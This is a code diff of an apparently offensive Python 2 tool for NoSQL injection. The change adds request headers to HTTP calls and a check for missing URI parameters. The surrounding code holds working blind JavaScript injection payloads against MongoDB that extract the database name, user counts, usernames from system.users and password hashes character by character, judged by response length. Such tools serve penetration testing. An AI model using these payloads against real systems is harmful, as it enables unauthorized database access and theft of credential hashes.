@@ -862,6 +862,11 @@ def getApps():
862862
863863 #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
864864 #Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
865+ if "?" not in appURL :
866+ print "No URI parameters provided for GET request...Check your options.\n "
867+ raw_input ("Press enter to continue..." )
868+ return ()
869+
865870 randomUri = buildUri (appURL ,injectString )
866871 print "URI : " + randomUri
867872 req = urllib2 .Request (randomUri , None , requestHeaders )
@@ -1526,15 +1531,17 @@ def getDBInfo():
15261531 print "Getting baseline True query return size..."
15271532 trueUri = uriArray [16 ].replace ("---" ,"return true; var dummy ='!" + "&" )
15281533 #print "Debug " + str(trueUri)
1529- baseLen = int (len (urllib .urlopen (trueUri ).read ()))
1534+ req = urllib2 .Request (trueUri , None , requestHeaders )
1535+ baseLen = int (len (urllib2 .urlopen (req ).read ()))
15301536 print "Got baseline true query length of " + str (baseLen )
15311537
15321538 print "Calculating DB name length..."
15331539
15341540 while gotNameLen == False :
15351541 calcUri = uriArray [16 ].replace ("---" ,"var curdb = db.getName(); if (curdb.length ==" + str (curLen ) + ") {return true;} var dum='a" + "&" )
15361542 #print "Debug: " + calcUri
1537- lenUri = int (len (urllib .urlopen (calcUri ).read ()))
1543+ req = urllib2 .Request (calcUri , None , requestHeaders )
1544+ lenUri = int (len (urllib2 .urlopen (req ).read ()))
15381545 #print "Debug length: " + str(lenUri)
15391546
15401547 if lenUri == baseLen :
@@ -1547,7 +1554,9 @@ def getDBInfo():
15471554 print "Database Name: " ,
15481555 while gotDbName == False :
15491556 charUri = uriArray [16 ].replace ("---" ,"var curdb = db.getName(); if (curdb.charAt(" + str (nameCounter ) + ") == '" + chars [charCounter ] + "') { return true; } var dum='a" + "&" )
1550- lenUri = int (len (urllib .urlopen (charUri ).read ()))
1557+
1558+ req = urllib2 .Request (charUri , None , requestHeaders )
1559+ lenUri = int (len (urllib2 .urlopen (req ).read ()))
15511560
15521561 if lenUri == baseLen :
15531562 dbName = dbName + chars [charCounter ]
@@ -1571,7 +1580,9 @@ def getDBInfo():
15711580 #find the total number of users on the database
15721581 while gotUserCnt == False :
15731582 usrCntUri = uriArray [16 ].replace ("---" ,"var usrcnt = db.system.users.count(); if (usrcnt == " + str (usrCount ) + ") { return true; } var dum='a" )
1574- lenUri = int (len (urllib .urlopen (usrCntUri ).read ()))
1583+
1584+ req = urllib2 .Request (usrCntUri , None , requestHeaders )
1585+ lenUri = int (len (urllib2 .urlopen (req ).read ()))
15751586
15761587 if lenUri == baseLen :
15771588 print "Found " + str (usrCount ) + " user(s)."
@@ -1595,7 +1606,9 @@ def getDBInfo():
15951606 while charCountUsr == False :
15961607 #different query to get the first user vs. others
15971608 usrUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne(); if (usr.user.length == " + str (usrChars ) + ") { return true; } var dum='a" + "&" )
1598- lenUri = int (len (urllib .urlopen (usrUri ).read ()))
1609+
1610+ req = urllib2 .Request (usrUri , None , requestHeaders )
1611+ lenUri = int (len (urllib2 .urlopen (req ).read ()))
15991612
16001613 if lenUri == baseLen :
16011614 #Got the right number of characters
@@ -1606,7 +1619,9 @@ def getDBInfo():
16061619
16071620 while rightCharsUsr < usrChars :
16081621 usrUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne(); if (usr.user.charAt(" + str (rightCharsUsr ) + ") == '" + chars [charCounterUsr ] + "') { return true; } var dum='a" + "&" )
1609- lenUri = int (len (urllib .urlopen (usrUri ).read ()))
1622+
1623+ req = urllib2 .Request (usrUri , None , requestHeaders )
1624+ lenUri = int (len (urllib2 .urlopen (req ).read ()))
16101625
16111626 if lenUri == baseLen :
16121627 username = username + chars [charCounterUsr ]
@@ -1629,7 +1644,9 @@ def getDBInfo():
16291644
16301645 while rightCharsHash < 32 : #Hash length is static
16311646 hashUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str (rightCharsHash ) + ") == '" + chars [charCounterHash ] + "') { return true; } var dum='a" + "&" )
1632- lenUri = int (len (urllib .urlopen (hashUri ).read ()))
1647+
1648+ req = urllib2 .Request (hashUri , None , requestHeaders )
1649+ lenUri = int (len (urllib2 .urlopen (req ).read ()))
16331650
16341651 if lenUri == baseLen :
16351652 pwdHash = pwdHash + chars [charCounterHash ]
@@ -1650,7 +1667,9 @@ def getDBInfo():
16501667 while charCountUsr == False :
16511668 #different query to get the first user vs. others
16521669 usrUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne({user:{$nin:" + str (users ) + "}}); if (usr.user.length == " + str (usrChars ) + ") { return true; } var dum='a" + "&" )
1653- lenUri = int (len (urllib .urlopen (usrUri ).read ()))
1670+
1671+ req = urllib2 .Request (usrUri , None , requestHeaders )
1672+ lenUri = int (len (urllib2 .urlopen (req ).read ()))
16541673
16551674 if lenUri == baseLen :
16561675 #Got the right number of characters
@@ -1661,7 +1680,9 @@ def getDBInfo():
16611680
16621681 while rightCharsUsr < usrChars :
16631682 usrUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne({user:{$nin:" + str (users ) + "}}); if (usr.user.charAt(" + str (rightCharsUsr ) + ") == '" + chars [charCounterUsr ] + "') { return true; } var dum='a" + "&" )
1664- lenUri = int (len (urllib .urlopen (usrUri ).read ()))
1683+
1684+ req = urllib2 .Request (usrUri , None , requestHeaders )
1685+ lenUri = int (len (urllib2 .urlopen (req ).read ()))
16651686
16661687 if lenUri == baseLen :
16671688 username = username + chars [charCounterUsr ]
@@ -1681,7 +1702,9 @@ def getDBInfo():
16811702
16821703 while rightCharsHash < 32 : #Hash length is static
16831704 hashUri = uriArray [16 ].replace ("---" ,"var usr = db.system.users.findOne({user:{$nin:" + str (users ) + "}}); if (usr.pwd.charAt(" + str (rightCharsHash ) + ") == '" + chars [charCounterHash ] + "') { return true; } vardum='a" + "&" )
1684- lenUri = int (len (urllib .urlopen (hashUri ).read ()))
1705+
1706+ req = urllib2 .Request (hashUri , None , requestHeaders )
1707+ lenUri = int (len (urllib2 .urlopen (req ).read ()))
16851708
16861709 if lenUri == baseLen :
16871710 pwdHash = pwdHash + chars [charCounterHash ]
0 commit comments